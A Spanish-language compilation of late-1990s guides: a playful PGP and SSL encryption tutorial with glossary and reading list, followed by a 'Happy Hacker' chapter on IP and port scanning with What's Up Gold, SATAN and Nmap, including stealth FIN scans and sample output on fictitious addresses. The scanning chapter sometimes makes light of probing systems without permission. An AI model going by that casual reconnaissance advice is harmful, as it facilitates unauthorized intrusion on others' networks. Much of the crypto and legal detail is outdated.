MQR6X53eOmYZOBQmXcg8GiVRgl+RyN1ZlqiKPV05Edl/UjueyE6koTeQRhbcUtRq 
BPLloA26jZcklJZu1lvPvkoAjxq+OuZKWNmlXQziTGMtTtgxDmtF7zZ6wZNCV652 
CNGeIZVTMCC8ZAZ91lDq2qKq9fRzIVAyW0K0xMlMBMqTMhJCBScWr6iCCKnOwhFW 
OFRRByfOhX5bMiddET8SbL40Qfyc9lLG+xEGuOw6O5xMT5aQdWiSog4idrrBd61K 
KjUUglfeDFsni2lqGeUkt/nUcEnMhAApZoXxoKQ6wzZUipOxrMhWeQB8vLNTNmQc 
5sPZEapLEioftjh9axL+lF2Z/9XAy0+UnUsjtw7OMhxyvhZWjjQNEko8OvaW7pL0 
6eaXooE909ESkRKvkP2CATTVeTinXQk4kSH24SFwDaYxLDMJtGv88jOinKmBhOa0 
c3UGKEfRliOgxqq18M6KdJtVOOLzTeiPuKmkwtgOXnt7ky7V1cy61kiBPWjme8Hs 
vt0VvFbKitU/dVjfdnrlMKJccG/PgYFYJ/9YM4M5XpSimMNxppLgFCbum3buVnn4 
wP82aA//YRq9hkFblfdBk0bIrjOB11O5zo7MCabbkIm+xrQtVM7EZ1AV/OQw1QpM 
CvAOIHfq1THi3wWGIU9npMvDnelSsJRpWl2kde2tUDYZWELjSFjPofysFXd02fc2 
yGFG+6Eb0a3WzFwSjwVfZUhmUVRGnOVK/WIz+jIAJq08mAUoq9lE7LUblpBgZb3l 
4G5iGZ8H0yskYRzzXg5rPV3dV8fyo4pasbJ8tVnQBYZQ7t0MFdl0x/xqBm9fDevX 
vTf/atvWBF9+Vp9QepRmZ+ehATYe1N4VBknylhV4SRFar4Sja4BYWVVjYP/k1M6Q 
jkQ9jTmulHml317IH9HLdilri8cDosDX6n02QMD6lw/uiWs+ohpgLXuMCqbPLR1L 
9y5Kbj2gTdlNUs/3b5RUXRDNjtjqVFpgscgQWNUseZ10P214L6I+lqAIh3qb5gdC 
FrKb82fvJdcFwQZtam9JHooyiG11OSRrahdMf2u8C0YWrfCKIDhLEwEaY3lHtk9P 
GumJu+9cF6z2hWovHHJ5lvWlwNNOtxohSGxV/3R8F41cQXnUPkPNLxqbYzlqzoZ1 
z3Q6dyQ2gBbnjKiQm/VfDpPyKdvkWktl2iR2kyVyDwbP0u8NBQTsbkQ2r9yMPM/3 
PHQoT8ME5q3FLOgSirV1YnNQCkTCfOHGb37ZtZlVQYN00gjJVCnJWr8bh9jD19yt 
YOvixVgaym2dwCk6e+GBxKtKJ5KgpULANG/tJbY8MZjpw7IyDK6lgo1wmnn4NSjG 
JIGLXn8rk44KbT2Qo3SzZftRf8Y+1i49QQ5eEdrFmxz1vg== 
=md+y 
-----END PGP MESSAGE----- 

¡GUAU! Esta avena digital tiene mejor pinta cuanto más la hago. Jeje.

Arriesgándome a parecerme a Magnum P.I., creo que sé lo que estáis pensando. Estáis pensando: "¡¡OOOOOH!! ¡He metido mi mensaje en una licuadora! ¡Oh, pobre Humanidad!". Tranquilos.

Recordad, es una estupidez cifrar mensajes que no se pueden descifrar (esto no se aplica a algunas ideas destinadas a la protección de passwords ni a las "firmas digitales", pero por otro lado no son realmente mensajes, y hablaremos de esto en el próximo punto). A primera vista, por lo que sabemos, todo ese lío de ahí podría ser simplemente basura aleatoria. ¿Sabéis qué? Podemos demostrar que no lo es. Escribísteis un mensaje dirigido a vosotros mismos y lo cifrásteis con vuestra clave pública, ¿no? Tenéis vuestra clave privada y podéis descifrar el mensaje incluso más fácilmente que cuando lo cifrásteis. ¡Ja, ja!

Esto es lo que tenéis que hacer:

1.      Marcad todo el texto cifrado, desde el principio de "-----BEGIN PGP.." hasta el final de " END PGP MESSAGE-----"

2.      Pulsad Ctrl-C para copiarlo en vuestro portapapeles (sé que ya estaba ahí, pero imaginemos que es como si hubiérais recibido esto de alguna otra persona).

3.      Abrid el menú de PGP y haced click en "Decrypt/Verify clipboard" ("Descifrar/Verificar el portapapeles") y escribid vuestra passphrase cuando se os pregunte. (Cuando veáis la ventana que dice "Decryption Successful" -"Descifrado con éxito"-, eso quiere decir que habéis descifrado lo del portapapeles, pero dejándolo ahí).

4.      Id a vuestro documento original y haced click debajo de lo que escribisteis.

5.      Pulsad Ctrl-V para pegar.

6.      ¡Listo

! Querido Tim, deja de hacer eso con los ojos o se te quedarán así para siempre.

¡Tatachán! ¿No es un momento memorable? Estoy llorando...


A. Cómo conseguir la clave pública de alguien


Es fácil. Conseguiréis la versión en texto de su clave en una web, un archivo de texto, un correo electrónico u otro medio. Os he mostrado parte de la mía, se parece mucho a las cosas cifradas que acabamos de ver.

1.      Marcad toda la cosa desde el principio de " -----BEGIN PGP PUBLIC KEY ... " hasta el final de " ... --END PGP PUBLIC KEY BLOCK-----."

2.      Pulsad Ctrl-C para copiar la clave en vuestro portapapeles.

3.      Id al menú de PGP y seleccionad la opción que dice "Add Key from Clipboard" ("Añadir clave desde el Portapapeles").

4.      Veréis una ventana que se abre y os dice que PGP ha visto la clave y sabe lo que es. Haced click en el botón "Import" ("Importar"). Simple, ¿no?




B. Qué es lo que PGP hace realmente


Es una verdad clara y simple que la mayoría de los programas de cifrado con clave única son más rápidos que los sistemas de clave pública. Así que PGP usa lo mejor de los dos mundos.

Cuando cifráis un mensaje para alguien con PGP, en primer lugar se comprime el mensaje para asegurarse de que no ocupará mucho espacio. Después se crea una clave simétrica y se cifra el texto con ese realmente rápido algoritmo simétrico.

Después de eso, se toma la clave pública del destinatario y se cifra con ella tan sólo la clave secreta. Dado que sólo está cifrando la clave, es mucho más rápido que si cifrara todo el mensaje. El mensaje de PGP es esos dos bloques de texto cifrado unidos.

Cuando el PGP del destinatario procesa el mensaje, usa la clave privada del destinatario para en primer lugar descifrar la clave secreta (es rápido, ya que tan sólo es la clave).

Después se usa la clave simétrica que se acaba de descifrar para descifrar rápidamente el resto del mensaje, y se descomprime para que tenga un formato legible.

V. OTRAS FORMAS DE EMPEZAR A USAR CIFRADO

A. Cómo hacer segura la conexión con Netscape


- Primera Parte: Vuestro navegador PUEDE ser seguro.

Tíos, es un aaaaaaaaaasco que la gente no haya hecho esto más a menudo. Probad esto. Si tenéis la versión correcta, Netscape puede conectarse a servidores web que cooperen de una forma realmente segura. Probad a teclear, en lugar de "http://", "https://". Eso le indica a vuestra máquina que trate de conectarse al servidor usando SSL, "Secure Sockets Layer" ("Capa de Sockets Seguros"). Es la parte de vuestro navegador que puede cifrar todo lo que circula entre vosotros y el servidor al que os conectáis.

¿Habéis visto esa cosa pequeña con aspecto de llave que hay en la esquina inferior izquierda de vuestro navegador? Normalmente tiene una raya por encima, o en lugar de una llave hay un candado abierto o algo así. Esto quiere decir que estáis vagando por la web sin establecer conexiones seguras. Si os conectáis a un servidor web a través de una conexión segura usando "https", se verá una llave entera, o un candado cerrado, o alguna otra cosa "bajo llave".

¡Oooooooh! ¡Aaaaaah!

Si no véis un cambio, o recibís un mensaje diciendo "eh, ¿de qué vas?, esto no es un servidor https", no os preocupéis. Muchos webs no están configurados para dejaros que os conectéis de forma segura, porque con frecuencia no hay razón para ello. Encontraréis lugares con direcciones "https" en tiendas en la Red, bancos, y otros lugares en los que se necesita seguridad. Dicho de otra forma, ¿REALMENTE os importa el que la gente sepa que enviáis mensajes al servidor de Nine Inch Nails setecientas veces al día?

- Segunda Parte: Probablemente no.

Pero incluso si os conectáis a un servidor que puede montar todo esto seguro, y incluso si os conectáis y véis la cosa "bajo llave" en la esquina, probablemente no tendréis más seguridad que antes. "¿Por qué?, os preguntáis. Porque incluso así la conexión cifrada que vuestro navegador usa es probablemente débil.

- Tercera Parte: Por qué no.

He aquí el problema. La gente del gobierno de Estados Unidos considera que la tecnología de cifrado es un arma, porque hace veinte años, durante la Guerra Fría, era peligroso que el enemigo la tuviera. La "Ley de Exportación" de Estados Unidos dice que dado que se considera que es un arma, es ilegal exportarla del país.

¿Por qué es un asunto tan liado? Bien, Norteamérica tiene intereses en muy distintas partes del mundo, y hay espías que prestan una atención muy cuidadosa a lo que pasa en el mundo, en especial en países terroristas. Si los terroristas empiezan a usar criptografía fuerte, no podremos espiar sus comunicaciones y quizás decir cuándo van a volar algo (aunque hasta ahora este espionaje sobre esta gente no ha evitado que sigan volando cosas).

Antes de que os entre la histeria, hay gente que ha estado tratando de llegar a un acuerdo con los de Inteligencia desde hace un tiempo... hay multitud de leyes tramitándose en el Congreso y el Senado para tratar de resolver esto, pero aún no ha habido suerte. Demonios, el Congreso ha estado trabajando en esto desde hace sólo seis años, dadle un poco de tiempo...

Así que cuando os bajáis un navegador de la Red, la mayoría conseguís lo que se llama un navegador de "grado de exportación". Eso quiere decir que es uno cuyo componente criptográfico es suficientemente débil como para que el gobierno esté de acuerdo con que lo exportéis. No compréis nada en la Web con esos pequeños navegadores, porque cualquier ciberdelincuente que sepa usar un sniffer y un programa rompedor de claves podrá leer la información de la tarjeta de crédito con la que hagáis la compra.

[¡Buuuuuuu! ¡Buuuuuuu!]

Cuarta Parte: Por qué es un asco

Netscape puede trabajar con todo el cifrado bueno que hay usando su SSL, pero la gente suele estar limitada a usar cifrado de 40 bits, que es realmente débil e inútil. Se han roto muchos de esos sistemas de cifrado débiles. Eh, Bruce Schneier os proporcionará incluso un SALVAPANTALLAS que puede romper este tipo de cifrado, ¡¡usando FUERZA BRUTA!! ¿Podéis imaginaros lo débil que es? ¡¡Puaaaajjj!! Podéis conseguirlo en http://www.counterpane.com/smime.html

Quinta Parte: ¡Arregladlo!

¡Aquí llega la ayuda! [sonido de trompetas] Ese tío tan bueno que se dedica al software llamado Farrell McKay y algunos de sus amigos prepararon unos cuantos archivos llamados "Fortify" que podéis descargar a vuestro equipo y ejecutar y pondrán A TOPE a vuestro navegador. Lo LEVANTAN, amigos.

Esto es lo que tenéis que hacer. En primer lugar, enviadme un millón de dólares. Después, id al web de "Fortify", http://www.fortify.net/index.html. Comprobad la seguridad de vuestra conexión en el enlace que dice "SSL checker", "Comprobación del SSL" (sí, eso es "Comprobación de Secure Sockets Layer"). Os dirá si vuestro navegador está en "modo debilucho" y si puede o no conectarse de forma segura a un servidor. Listará incluso todas las diferentes conexiones seguras que podéis conseguir en ese momento.

Si esa página os dice que vuestra conexión es débil, id a la página "download" ("descarga") y coged la versión apropiada para vuestro ordenador. Una vez lo tengáis, seguid las instrucciones. Es fácil y realmente rápido. Por último, tendréis que reiniciar vuestro navegador.

Ahora, para comprobar si ha funcionado, volved a la página de comprobación de SSL, puede que tengáis que recargar la página. ¿Vées lo que dice? La mayoría de versiones conectarán ¡con RC4, 128 bits!

Nota: ¿recordáis al genio de la criptografía Ron Rivest que ayudó a crear el algoritmo RSA? RC4 es uno de los algoritmos que ha creado sólo, y muy bueno.

Así que podéis enviar y recibir correo cifrado supersecreto que nadie podrá leer, y podéis conectaros con un enorme RC4 a 128 bits en los websites preparados para ello. Ahora podéis frotaros las manos y poneros a parlotear como locos. Sé que estáis enganchados...


V. RESUMEN


A. No todo lo que confunde es cifrado

La cosa más importante que hay que tener en mente cuando se buscan buenos programas de cifrado con los que jugar es ésta: el que tenga un nombre fascinante como "módulo criptográfico" y el que dé la impresión de revolver el texto muy bien no quiere decir que sea criptografía real. Incluso si es de una gran compañía de software, no necesariamente merece la pena.

Es increiblemente difícil hacer segura la criptografía real. La mayoría de estas compañías que escupen paquetes de software que protege passwords y cifra pequeños documentos no se molestan en trabajar realmente en esta área. No haría caso ni siquiera a esos tíos sabios de la Web con ropa de hackers que escriben sus propios programas y tratan de vendéroslos. Uffff. La mayoría de ellos no tienen ni idea de dónde se están metiendo. La criptografía es dura y los expertos son pocos y están dispersos. Hablaremos con más detalle de estas precauciones en la sección de recursos en la Web.

B. Cuidado con el "cifrado para niños"

No os fiéis de la palabra de cualquiera. Hay toda clase de ideas interesantes flotando aquí y allá sobre la criptografía, y provienen de gente que sólo parece que sepan de lo que están hablando. Desde las revistas de hackers a mensajes en grupos de noticias enviados por supuestos grandes expertos o a revistas en grandes tiendas de ordenadores, todo el mundo parece saber qué debería ser la criptografía y dónde conseguir buen material.

Ufffff.

No son los programas que analizan los periodistas. No es el programa que escribe vuestro hacker favorito. No es el impresionante plugin que vuestra compañía de software preferida trata de venderos.

El "buen material" es el que sobrevive a las pruebas de los expertos. Recordad esto: aprended los nombres de los expertos. Aprended los nombres de los algoritmos y criptosistemas. Después de mucho, mucho tiempo en el mercado y tras un moooooontón de pruebas, los algoritmos y sistemas buenos son los que sobreviven. Y eso sólo se aplica al momento. El crecimiento de la capacidad de computación ha hecho que más de un criptosistema seguro se vuelva obsoleto.

Los algoritmos que no se prueban ni se hacen públicos, los algoritmos que no hacen caso a las leyes matemáticas ni la teoría de números, los algoritmos que son anunciados como buenos pero no están disponibles para probarlos, no son cifrado, sino cifrado para niños.

Usar cifrado para niños es incluso peor que no usar cifrado. ¿Sabéis por qué es peligroso el cifrado para niños? Porque os confunde haciéndoos pensar que es cifrado, y lo usáis con información privada que no va a ser capaz de proteger. Si no tratárais de usar cifrado, al menos dejarías guardada la información privada y nunca estaría en peligro.

C. Palabras con las que tenéis que quedaros.

¡Muy bien, chulines! Deberíais ser capaces de usar todas las palabras que vienen a continuación entre comillas incluso si no podéis dar una definición completa de algunas de ellas. Repetidlas, acostumbráos a ellas. Mejor aún, usadlas en frases cuando estéis con amigos que no sepan lo que significan :). ¡Dadle a la lengua!

Sabéis que:

La "Criptología" se divide en "Criptografía" (o "cripto") y "Criptoanálisis", y la gente que se dedica a esto son "criptógrafos" y "criptoanalistas".

Sabéis que el "cifrado de César" era una forma antigua de "cifrar" algo y también de "descifrarlo".

Antes de cifrar, el mensaje es "texto en claro", y después de cifrarlo, es "texto cifrado".

Los "cifrados por sustitución" ya no son buenos "criptosistemas".

Los "algoritmos" son procesos matemáticos divididos en pasos, aquí van algunos:

"RSA"
"IDEA"
"DES"
"Blowfish"
"CAST"
"El Gamal"
"RC-4"

y todos TIENEN que usar una "clave".

"Binario" quiere decir formado por ceros y unos.

Una "frase de paso" o "passphrase" es una serie de passwords. Los "bloques" son grupos de caracteres, las "iteraciones" son pasos de cifrado que aplica el algoritmo a los bloques.

Un "generador de números aleatorios" proporciona números realmente aleatorios y nadie podrá lanzar un ataque "de fuerza bruta" contra vuestra clave si es suficientemente grande.

Un "protocolo" es una forma de actuar.

El "cifrado simétrico" es lo mismo que la criptografia de "clave privada" o de "clave secreta". Es lo contrario de "cifrado asimétrico" o criptografía de "clave pública", con la que se usa un "par de claves", como por ejemplo claves "Diffie-Hellman", que se basan en el "problema del logaritmo discreto", o "claves RSA", que se basan el "problema de factorización de enteros". Si se trata de un cifrado asimétrico, el "algoritmo de cifrado" que convierte el texto claro en texto cifrado es distinto del "algoritmo de descifrado" que convierte el texto cifrado de nuevo en texto claro.

"PGP" usa las dos cosas.

"Secure Sockets Layer", "Capa de Sockets Seguros" o "SSL" es la parte de vuestro navegador que puede usar cifrado, pero se ve limitada por una molesta "ley de exportación" que sólo deja usar cifrado "de exportación", que es débil. El programa "Fortify" arregla esto, haciendo que deje de usar "cifrado para niños".

Y- atención a la última sugerencia- la "esteganografía" es el arte de ocultar mensajes- normalmente cifrados- en algún lugar donde no se espera encontrarlos.

V. ¿QUERÉIS SABER MÁS?

A. Algo de información en la Web


¡Formas rápidas de conseguir más información introductoria! La mayoría en formato PDF.

1. Id al manual de usuario de PGP que bajásteis con el programa, a la sección sobre teoría criptográfica, es muy buena. Si no estáis seguros de dónde lo tenéis, buscad el directorio en el que instalásteis PGP. Abrid la carpeta hasta que encontréis un archivo con la extensión .pdf.

2. Id al web de RSA, a http://www.rsa.com/rsalabs/newfaq/ y bajaos su mundialmente famosa FAQ sobre criptografía. Es excelente.

3. Para redondear nuestro aprendizaje, id al web de Counterpane, de Bruce Schneier, para leer dos ensayos MUY importantes para entender de qué va la criptografía, la privacidad y la seguridad.

"Por qué la Criptografía es más difícil de lo que parece"
http://www.counterpane.com/whycrypto.pdf.zip

"Problemas de seguridad en Criptografía"
http://www.counterpane.com/pitfalls.pdf.zip


B. Libros que buscar


"Applied Cryptography", Segunda Edición, por Bruce Schneier, John Wiley & Sons, 1996. Es sin duda lo mejor con lo que los principiantes en el mundo del cifrado pueden empezar realmente a profundizar. Bruce escribió el libro en un inglés muy claro (aunque ha sido traducido a otros idiomas), explicando todo de una forma realmente clara. A veces es divertido y siempre es fácil de leer. El libro cubre todo. Absolutamente todo. El precio es algo elevado, pero es un libro grande, y tiene código fuente en C para todos aquellos que sean programadores y quieran empezar a probar a programar algoritmos de cifrado. Podéis ver más comentarios, buscar versiones en otros idiomas y más información en el web de Bruce:
http://www.counterpane.com/applied.html

"Handbook of Applied Cryptography", por Alfred Menezes, CRC Press, 1996. Este es algo más difícil encontrarlo, pero es una exposición realmente clara de toda el álgebra que está bajo muchos de los secretos que hacen que el cifrado sea fuerte. También muy bueno. Habla del uso del cifrado en lugares como los bancos, sistemas de alarma y toda clase de entornos interesantes. También tiene mucha información nueva sobre cosas que están ocurriendo últimamente en el mundo de la Criptografía. Podéis ver más información y un par de capítulos en formato PDF en:
http://www.dms.auburn.edu/hac/

"Decrypted Secrets", por F. L. Bauer, Springer Verlag, 1997. Está escrito desde una perspectiva realmente técnica, pero también desde un punto de vista histórico. No dejéis que las columnas de números y cifras os asusten a la primera. Algunas personas tendrás dificultades al pasar por la información sobre Teoría de números, pero os veréis recompensados si lo hacéis. Hay cientos de historias sobre espías y guerras. Todas estas historias son fascinantes y se usan para haceros entender mejor por qué las reglas básicas de la Criptografía son como son. Demuestran esto contándoos todas las formas divertidas de revolver la información que han usado los criptógrafos a lo largo del tiempo, y también hablando de algunas de las mentes brillantes que hicieron los grandes descubrimientos.

"Disappearing Cryptography", por Peter Wayner, Ap Professional, abril de 1996. Este libro habla más de la filosofía de alto nivel de la privacidad, y la plantea de una forma interesante y extraña. Cada sección tiene una descripción simple de lo que habla, seguida de descripciones matemáticas más técnicas y un ejemplo de programación. Es bueno tenerlo, incluso aunque hable más de Esteganografía que de pura Criptografía.

 

 

Herramientas de Guerra (I)


Analizadores de red, sniffers, suplantación de sesiones


Esta guía se ha extraido de la segunda edición del libro ·The Happy Hacker·.

"Hola, no es mi intención ser grosero, pero me he dado cuenta de que usted estuvo examinando algunas cosas residentes en nuestro sistema... ¿Podría explicarme qué es lo que estaba haciendo?"

Suspiro. De vez en cuando recibo correos como éste. Algunas veces es menos educado. En este caso, había estado examinando un servidor de una intranet. Por alguna razón era directamente accesible desde Internet en vez de serlo desde una red privada interna. Te apuesto lo que sea a que nunca más podrás acceder a ese servidor desde Internet :). ¡Estaba curioseando, no intentaba colarme!

Lo que define a un hacker es la curiosidad: un hambre ciega e insaciable de más, más y más información. Si tu objetivo es combatir a aquellos que atacan tus ordenadores, tendrás ventaja si eres curioso.

Este capítulo cubre algunas potentes herramientas de combate que pueden satisfacer tu curiosidad de una forma legal y constructiva; también muestro cómo usarlas para combatir a los delincuentes informáticos.

Los administradores me cuentan que es más difícil mantener a la gente fuera de un sistema informático que entrar en él. En este capítulo veremos el alcance de esta guerra entre administradores de sistemas e intrusos y aprenderemos algo acerca de las herramientas usadas por ambos.

En este capítulo aprenderemos:


Advertencia: Antes de comenzar a jugar con las técnicas de este capítulo, ten cuidado. Si utilizas lo que aprendas aquí para fisgonear en las redes de otras personas, ten en cuenta que pueden sospechar que eres un delincuente informático. Por esta razón, si quieres explorar los sistemas de otras personas, conviene hacer amigos entre el personal de tu ISP, así no te echarán por sospechar de un delito informático. También ayuda conseguir permiso de los administradores de cualquier red que estés comprobando; si encuentras un problema, deberías notificárselo para que pueda corregirlo.

Esto ayuda también a mantener una buena reputación. Si tienes fama de revoltoso, tendrás problemas si utilizas las herramientas de este capítulo. Si tienes una buena reputación la gente te creerá cuando digas que estás explorando para aprender sobre administración de sistemas, o simplemente por el puro placer de descubrir. Si tu ISP es uno de esos importantes que te echan a la menor señal de problemas, cambia a un ISP local donde puedas pasar e invitar al personal técnico a una pizza. Confía en mí, si intentas probar lo que este capítulo te enseña, casi cualquier ISP grande te dará una patada.


Aviso de cárcel: Si vives fuera de los Estados Unidos, asegúrate de cómo son las leyes sobre delitos infornáticos. No puedo garantizar que las técnicas de este capítulo sean legales en cualquier lugar.


Exploración de direcciones IP y puertos

Cada día alguien me envía un correo para quejarse de que algunos nombres de host de la antigua Guía no hacen cosas interesantes. Cuando escribí aquellas primeras guías sólo las envié a unos cuantos amigos. Supongo que pronto se sumegieron en la inmensidad de Internet. Lo que no sospechaba es que decenas de miles de novatos estaban haciendo finger, telnet o ftp a aquellas direcciones IP. Por supuesto los administradores las han cerrado. Los extraños nunca más podrán jugar con ellas.

Lo que realmente me entristece es que mucha gente me pregunta por nombres de buenos hosts que puedan usar. ¡Es tan fácil encontrarlos por uno mismo!

Si quieres ser primitivo en este tema, puedes escanear direcciones IP de forma manual. Busca un nombre de dominio tentador mientras navegas por la web, ejecutando traceroute o tracert, o en las cabeceras de los correos. Entonces prueba las técnicas del capítulo de exploración de puertos para ver si hay algo interesante allí.

Esta es una buena manera de empezar, porque sabrás exactamente lo que estás haciendo y podrás cogerle el truco al proceso. Además, es impresionante descubrir algo raro como la red troncal de VAX/VMS del capítulo de exploración de puertos que está publicando el estado de su inmensa red ¡desde el puerto 15!

También existen programas que te encontrarán automáticamente servidores activos en Internet. Muchas de estas herramientas te dirán además los puertos que están abiertos. No siempre te darán toda la información que puedes obtener cuando exploras los puertos a mano, pero descubrirán lo esencial rápidamente.


Advertencia: El lado negativo de las herramientas para explorar direcciones IP y puertos de este capítulo es que, cuando las usas sin permiso en los ordenadores de otras personas, prácticamente estás gritando "¡Soy un delincuente informático!".

Supongo que esto no es verdad, pero muchos administradores de sistemas han comprobado que después de una exploración de puertos viene inmediatamente un intento de colarse. Si quieres explorar sin permiso, puedes explorar servidores de Internet que pertenezcan a otros hackers. Si los que son claramente hackers se quejan, puede que los administradores de tu proveedor de Internet no les hagan mucho caso. ¡Eh!, son hackers: saben cuidarse.

Sin embargo, si haces esto sin permiso de los hackers, podrías incitarlos a una guerra contra ti que te puede llevar a perder tu acceso a Internet.


Ya estamos listos para explorar servidores de Internet y sus puertos. Empecemos viendo la forma en que pueden hacerlo los novatos.

Puedes conseguir un programa para Windows 95/98 que explora direciones IP y puertos, el What's Up Gold, de la dirección http://www.ipswitch.com. Es un programa shareware que se puede usar durante un mes sin registrarse. Es un programa fácil de manejar que realiza un trabajo excelente. Aquí tienes lo que obtuve cuando exploré la direcciones IP que van desde 198.987.999.1 a 198.987.999.254 buscando cualquier puerto abierto en el rango de 1 a 600.

Esta exploración fue programada para comprobar cada puerto con un tiempo de espera de respuesta de sólo 100 milisegundos:

198.987.999.033 
198.987.999.036 80 
198.987.999.044 
198.987.999.048 
198.987.999.049 
198.987.999.066 
198.987.999.067 
198.987.999.074 
198.987.999.080 
198.987.999.113 
198.987.999.115 
198.987.999.118 
198.987.999.167 

Ejecuto la misma exploración de nuevo pero con el tiempo puesto a 1 segundo. Esto revela muchas más direcciones IP y puertos activos:

198.987.999.033 7 9 11 13 15 19 21 23 25 37 53 79 
80 110 111 113 139 143 
198.987.999.034 139 
198.987.999.035 
198.987.999.036 80 139 
198.987.999.041 
198.987.999.042 139 
198.987.999.043 139 
198.987.999.044 139 
198.987.999.045 139 
198.987.999.048 139 
198.987.999.049 139 
198.987.999.050 80 139 
198.987.999.051 21 22 23 25 37 70 79 109 110 111 113 143 
198.987.999.055 139 
198.987.999.056 
198.987.999.058 139 
198.987.999.059 139 
198.987.999.060 
198.987.999.061 139 
198.987.999.061 139 
198.987.999.065 139 
198.987.999.066 21 23 80 139 
198.987.999.067 
198.987.999.068 
198.987.999.069 
198.987.999.072 
198.987.999.073 
198.987.999.074 
198.987.999.075 
198.987.999.077 
198.987.999.078 
198.987.999.079 
198.987.999.080 
198.987.999.082 
198.987.999.083 
198.987.999.084 
198.987.999.085 
198.987.999.086 
198.987.999.088 
198.987.999.092 
198.987.999.093 
198.987.999.098 
198.987.999.099 
198.987.999.101 
198.987.999.103 
198.987.999.105 
198.987.999.108 
198.987.999.110 
198.987.999.111 
198.987.999.112 
198.987.999.113 
198.987.999.115 
198.987.999.118 
198.987.999.119 
198.987.999.120 
198.987.999.121 
198.987.999.122 
198.987.999.123 
198.987.999.124 
198.987.999.125 
198.987.999.126 
198.987.999.131 
198.987.999.133 
198.987.999.136 
198.987.999.137 
198.987.999.139 
198.987.999.146 
198.987.999.156 80 
198.987.999.158 
198.987.999.162 139 
198.987.999.163 
198.987.999.165 
198.987.999.166 
198.987.999.167 
198.987.999.169 7 9 13 
198.987.999.173 13 15 21 23 25 79 513 514 515 540 
198.987.999.177 
198.987.999.178 135 389 
198.987.999.180 
198.987.999.182 
198.987.999.183 
198.987.999.184 
198.987.999.186 139 
198.987.999.188 
198.987.999.189 139 
198.987.999.194 139 
198.987.999.195 7 9 13 17 19 135 139 
198.987.999.198 110 119 139

De acuerdo, lo admito, para ahorrar espacio estaba intentando realizar dos cosas ligeramente contradictorias con este conjunto concreto de direcciones IP. Son direcciones IP asignadas dinámicamente por un ISP. Se asignan a los usuarios que se conectan telefónicamente. Por ello, algunas de estas direcciones cambiarán y, por otra parte, los usuarios de la misma dirección pueden cambiar de una exploración a la siguiente. Sin embargo, estas dos exploraciones fueron hechas en un intervalo de pocos minutos. Debido a ello, pocas de las conexiones habrán cambiado en este periodo.

Estas exploraciones muestran la importancia de poner un tiempo de caducidad largo en What's Up. Un segundo (1000 ms) me ha dado mejores resultados.

Aquí, entre estas direcciones IP asignadas dinámicamente, es donde realmente me divierto. Las direcciones IP asignadas dinámicamente son el Rick's Café del ciberespacio; no, más bien la cantina de la Guerra de las Galaxias. Vale, la mayoría de estas direcciones IP no muestran puertos abiertos. Probablemente sean meras conexiones vía modem para leer el correo o para navegar por la Web de personas que no distinguirían el Unix de los unicornios.

Sin embargo, como he elegido las direcciones dinámicas asignadas por un ISP bien conocido por atraer a hackers, este conjunto concreto de direcciones IP resulta interesante.

Observa "198.987.999.036 80 139", "198.987.999.050 80 139", y "198.987.999.156 80". Los 80 representan sitios Web efímeros, que duran tanto tiempo como dura la conexión. ¿Te preguntas qué tienen? El hecho de que casi todo el resto de los servicios estén cerrados parece sugerir usuarios experimentados. Puede que esos sitios Web tengan passwords, o quizá puedas entrar...

El resultado "198.987.999.033 7 9 11 13 15 19 21 23 25 37 53 79 80 110 111 113 139 143" debe ser de alguna máquina tipo Linux u otro tipo de Unix. Diría que pertenece a un verdadero novato, a juzgar por la cantidad de puertos abiertos. Observa el puerto 21 abierto. Te preguntarás si tiene un servidor ftp. Mejor compruébalo antes de que desaparezca su conexión. También tiene un sevidor Web...

Echa un vistazo a "198.987.999.051 21 22 23 25 37 70 79 109 110 111 113 143". Observa el puerto 22 - significa que usa ssh. No hay servidor web (80), ni echo(7), ni discard (8), ni daytime (13), ni netstat (15), etc. Como estos son puertos que un administrador de sistemas debería desactivar, tenemos indicios de que esa máquina podría pertenecer a un hacker. Si esta es una dirección IP asignada dinámicamente por un ISP en el que tienes cuenta de usuario, un vistazo rápido a netstat y/o al último comando probablemente revelará el nombre de usuario de este hacker.

Comprueba "198.987.999.198 110 119 139" y "198.987.999.178 135 389". Extraña selección de puertos. Te preguntarás si los propietarios de esas máquinas podrían contarme que están tramando. Ojo, hay un servidor POP (110). Puede que si envío un email a "root@198.987.999.198" obtenga un mensaje. Silencio, todavía no lo sé, sólo estoy jugueteando.

Es lógico cometer errores y llegar a puntos muertos, por ello los verdaderos hackers divagan, exploran, e intentan cosas nuevas. Si la cosas no funcionan, no pasa nada. Sin embargo, si funcionan...

Si tienes un ordenador tipo Unix, hay disponibles muchos otros exploradores de puertos. El SATAN (Security Analysis Tool for Auditing Networks), que es famoso y libre, también identificará con frecuencia los puertos que son vulnerables a ataques. Puedes conseguirlo en ftp://ftp.cs.ruu.nl:/pub/SECURITY/. La posesión del código SATAN es suficiente para que te echen de algunos ISPs. Busca en http://www.rootshell.com otros programas Unix para la exploración de puertos que no despierten las sospechas de la gente.

Si estás dispuesto a pagar un montón de dinero por un programa de exploración de puertos, varias compañías de seguridad informática te los venderán. Internet Security Systems (ISS) tiene uno excepcionalmente bueno: Internet Scanner (http://www.iss.net). Igual que SATAN, Internet Scanner identificará agujeros de seguridad en los puertos que explores.

Existen versiones para sistemas Unix y Windows NT. Debido a que su software podría ser peligroso en malas manos, ISS solamente te venderá una versión para explorar tu propia dirección IP o aquella que la empresa para la que trabajas te haya dado permiso para explorar.

Exploración silenciosa de puertos

Puede que hayas oído que hay exploradores de puertos que son imposibles de detectar. Si fuera cierto, esto podría resolver el problema de ser dado de baja de tu ISP por explorar puertos. Uno de los que he probado es Nmap, disponible gratis en http://dhp.com. Se ejecuta en sistemas operativos tipo Unix, y tiene opciones para hacer exploraciones normales y exploraciones sigilosas.


Advertencia: al igual que What's Up, Nmap no siempre es exacto. Mientras What's Up pierde puertos abiertos, Nmap a menudo informa erróneamente de que hay abiertos puertos que en realidad están cerrados.


Observación: He aquí por qué Nmap es impreciso en el modo de exploración silencioso o "fin scanning". El programa envía a cada puerto del ordenador víctima un sólo paquete con el flag "fin" (fin de transmisión) puesto a uno. Si le devuelven un paquete con el flag "rst" (reset) puesto a uno, al parecer el puerto está cerrado. En caso contrario, el puerto parece estar abierto. Por supuesto un paquete perdido también contará como rst perdido o no devuelto. Como resultado de ello, en una conexión ruidosa Nmap muestra muchos puertos como abiertos que no lo están de verdad. Intenta el "fin scanning" sobre un host inexistente con Nmap y verás que informa que todos los puertos están abiertos. En teoría, cualquier explorador que envíe un sólo paquete para probar cada puerto se expone a resultados falsos.


